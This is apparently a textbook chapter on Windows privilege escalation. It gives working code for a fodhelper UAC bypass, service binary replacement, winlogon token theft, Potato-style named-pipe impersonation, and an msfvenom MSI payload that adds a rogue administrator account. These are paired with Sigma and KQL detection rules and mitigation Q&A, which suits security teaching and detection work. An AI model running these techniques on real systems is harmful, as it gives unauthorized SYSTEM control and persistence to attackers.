Chapter 179

Privilege Escalation on Windows

Privilege escalation on Windows bridges the gap between a standard user shell and SYSTEM. The landscape divides into UAC bypass (medium integrity → high), token manipulation (service account → SYSTEM via impersonation), service misconfiguration (writable binary path → arbitrary code as SYSTEM), and kernel exploits (any user → ring 0). Detection engineering needs rules for each category because each leaves a different footprint.

Scenario

Your implant runs as a standard domain user, medium integrity. The target has UAC enabled. You cannot directly install a driver or access LSASS. The machine is running a vulnerable service with a writable binary path. Your path to SYSTEM: enumerate service permissions, overwrite the binary with your payload, restart the service. Before that, bypass UAC to reach high integrity so you can restart the service without a UAC prompt.

UAC Bypass Techniques

TechniqueMethodPatched?Detection
fodhelper.exeHKCU shell\open\command registry key → auto-elevated COMNo (Win10/11 still vulnerable)Sysmon 13: HKCU\Software\Classes\ms-settings\shell\open\command
eventvwr.exeHKCU CLSID hijack triggers auto-elevated eventvwrNoRegistry write to HKCU\Software\Classes\mscfile
sdclt.exeHKCU shell\runas\commandPartially patched Win11sdclt spawning attacker process
DiskCleanupDCCW.exe via HKCU system32 COM hijackNoHKCU CLSID write + SilentCleanup task trigger
CMSTP.inf file with RunPreSetupCommandsNocmstp.exe executing user-supplied .inf
Token manipulationDuplicate high-integrity token from auto-elevated processNoNtOpenProcess + NtDuplicateToken from low-integrity
# fodhelper.exe UAC bypass — does not trigger UAC prompt
# fodhelper.exe is marked "autoElevate=true" in its manifest.
# When it launches, it reads HKCU\Software\Classes\ms-settings\shell\open\command
# and executes whatever is there — in a high-integrity context.
# No UAC prompt because fodhelper.exe itself is already trusted.

# Set the registry key and trigger fodhelper:
New-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "(Default)" -Value "cmd /c <YOUR_COMMAND>" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings" -Recurse -Force

Service Misconfiguration

# Service misconfiguration: if a service binary path is writable by the current user,
# replace it with a payload. When the service restarts, payload runs as SYSTEM.
# Also: unquoted service paths — if "C:\Program Files\Vuln App\svc.exe",
#        placing C:\Program.exe gets executed first by CreateProcess.

# Enumerate services with weak permissions:
accesschk.exe -uwcqv "Everyone" * # find services any user can modify
accesschk.exe -uwcqv "Users" *
Get-WmiObject Win32_Service | Select Name, PathName, StartMode |
    Where { $_.StartMode -ne "Disabled" } |
    ForEach-Object {
        $acl = Get-Acl $_.PathName.Split('"')[1] -ErrorAction SilentlyContinue
        if ($acl) { $acl.Access | Where { $_.IdentityReference -match "Users|Everyone" } }
    }

# Exploit: replace binary with payload .exe, restart service
Copy-Item .\implant.exe "C:\Program Files\VulnApp\service.exe" -Force
Restart-Service "VulnSvc"

# Unquoted service path:
# Service binary: C:\Program Files\My App\service.exe (unquoted)
# Windows tries: C:\Program.exe  →  C:\Program Files\My.exe  → ...
# Place: C:\Program.exe (or C:\Program Files\My.exe if writable)
wmic service get Name,PathName,StartMode | findstr /iv '"' | findstr /iv 'C:\Windows'

Token Impersonation

// Token impersonation: when running as a service or a process with
// SeImpersonatePrivilege, you can steal tokens from higher-privilege processes
// and use them to open handles or create processes.
// Key API: OpenProcessToken + DuplicateTokenEx + CreateProcessWithTokenW

#include <windows.h>

BOOL ImpersonateSystem() {
    // Find a SYSTEM process (winlogon, services, etc.)
    DWORD sysPid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe = { sizeof(pe) };
    if (Process32FirstW(hSnap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
                sysPid = pe.th32ProcessID; break;
            }
        } while (Process32NextW(hSnap, &pe));
    }
    CloseHandle(hSnap);
    if (!sysPid) return FALSE;

    HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, sysPid);
    HANDLE hTok, hDup;
    OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &hTok);
    DuplicateTokenEx(hTok, MAXIMUM_ALLOWED, NULL,
        SecurityImpersonation, TokenPrimary, &hDup);
    CloseHandle(hTok); CloseHandle(hProc);

    // Launch process under SYSTEM token
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    BOOL ok = CreateProcessWithTokenW(hDup, LOGON_WITH_PROFILE,
        L"C:\\Windows\\System32\\cmd.exe", NULL,
        CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    CloseHandle(hDup);
    return ok;
}

Potato Attacks (SeImpersonatePrivilege)

// Service accounts (IIS AppPool, MSSQL service, etc.) have SeImpersonatePrivilege.
// Potato attacks coerce a SYSTEM-level authentication to a local listener,
// capture the token, then impersonate it.
// Evolution: RottenPotato → JuicyPotato → RoguePotato → SweetPotato → GodPotato.
//
// GodPotato (2023) — works on Windows 10/11 and Server 2019/2022:
// Uses ImpersonateNamedPipeClient via a named pipe that tricks WinRM/RPCSS.
// Does NOT require specific CLSIDs (unlike JuicyPotato).
// https://github.com/BeichenDream/GodPotato

// Simplified SweetPotato flow:
// 1. Create a named pipe: \\.\pipe\ATTACKER
// 2. Trigger SYSTEM-level process to connect to the pipe via DCOM coercion
// 3. ImpersonateNamedPipeClient() → impersonation token = SYSTEM
// 4. CreateProcessWithToken(SYSTEM_TOKEN, "cmd.exe")

BOOL PipeImpersonate() {
    HANDLE hPipe = CreateNamedPipeW(L"\\\\.\\pipe\\ATTACKER",
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        1, 4096, 4096, 0, NULL);

    // ... trigger SYSTEM to connect (via COM activation) ...
    ConnectNamedPipe(hPipe, NULL);
    ImpersonateNamedPipeClient(hPipe);

    HANDLE hTok;
    OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hTok);
    HANDLE hDup;
    DuplicateTokenEx(hTok, MAXIMUM_ALLOWED, NULL,
        SecurityImpersonation, TokenPrimary, &hDup);
    RevertToSelf();

    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    return CreateProcessWithTokenW(hDup, 0,
        L"C:\\Windows\\System32\\cmd.exe",
        NULL, 0, NULL, NULL, &si, &pi);
}

AlwaysInstallElevated

# AlwaysInstallElevated: if both HKLM and HKCU keys are set to 1,
# MSI packages run with SYSTEM privileges regardless of user level.
# Check:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Exploit: create a malicious .msi that runs cmd.exe as SYSTEM
msfvenom -p windows/x64/exec CMD="net user hacker P@ss /add && net localgroup administrators hacker /add" -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi

# PowerShell check for both conditions:
$hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" `
         -Name AlwaysInstallElevated -EA SilentlyContinue).AlwaysInstallElevated
$hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" `
         -Name AlwaysInstallElevated -EA SilentlyContinue).AlwaysInstallElevated
if ($hklm -eq 1 -and $hkcu -eq 1) { Write-Host "VULNERABLE" }

Detection Engineering

title: UAC Bypass via fodhelper.exe Registry Key
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    EventID: 13
    TargetObject|contains:
      - 'ms-settings\shell\open\command'
      - 'mscfile\shell\open\command'
  condition: selection
level: critical
tags: [attack.privilege_escalation, T1548.002]

title: Service Binary Replaced (Writable Service Path Exploitation)
logsource:
  product: windows
  category: file_event
detection:
  selection:
    TargetFilename|endswith: '.exe'
    TargetFilename|contains:
      - '\Program Files\'
      - '\Program Files (x86)\'
  process_filter:
    Image|endswith:
      - '\services.exe'
      - '\msiexec.exe'
      - '\TrustedInstaller.exe'
  condition: selection AND NOT process_filter
level: high

-- MDE KQL: SeImpersonatePrivilege token theft (Potato-family)
DeviceEvents
| where ActionType == "CreateProcessWithTokenW"
    or ActionType == "ImpersonateNamedPipeClient"
| where InitiatingProcessFileName !in~ ("services.exe", "svchost.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, ActionType

-- High integrity process launched from medium integrity fodhelper
DeviceProcessEvents
| where InitiatingProcessFileName =~ "fodhelper.exe"
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName

Q&A

Token impersonation requires SeImpersonatePrivilege — which Windows service accounts have this by default, and why did Microsoft grant it to them?

SeImpersonatePrivilege is granted by default to: the LOCAL SERVICE account, NETWORK SERVICE account, IIS worker process identities (IIS AppPool accounts), SQL Server service accounts, the built-in Administrators group, and any service account granted logon as a service right in Local Security Policy. The privilege was intentionally granted to these accounts because they legitimately need to impersonate client connections. IIS must impersonate the authenticated web user to access files on their behalf with the correct ACL enforcement. SQL Server must impersonate the connected database user for row-level security. DCOM servers receive client calls and must impersonate the client for security checks. Without SeImpersonatePrivilege, these services would not be able to enforce per-user access controls on resources they proxy to the client.

The design tension is that impersonation — representing a different security context — requires the ability to call ImpersonateNamedPipeClient, ImpersonateLoggedOnUser, or SetThreadToken. These calls require SeImpersonatePrivilege. Once any of these APIs succeeds, the thread runs with a different token. If that token is SYSTEM (coerced via a named pipe trick as in Potato attacks), the attacker has SYSTEM execution.

The correct mitigation is privilege reduction: IIS application pool accounts should run as ApplicationPoolIdentity (the most restricted account type, which does not inherit SeImpersonatePrivilege in the same way). For SQL Server services, running them as dedicated low-privilege domain accounts rather than NETWORK SERVICE reduces the attack surface. And at the detection layer, monitoring for named pipe creation followed by ImpersonateNamedPipeClient calls from non-trusted service binaries catches the Potato family of attacks regardless of which specific variant is used — the pipe coercion pattern is consistent across all of them.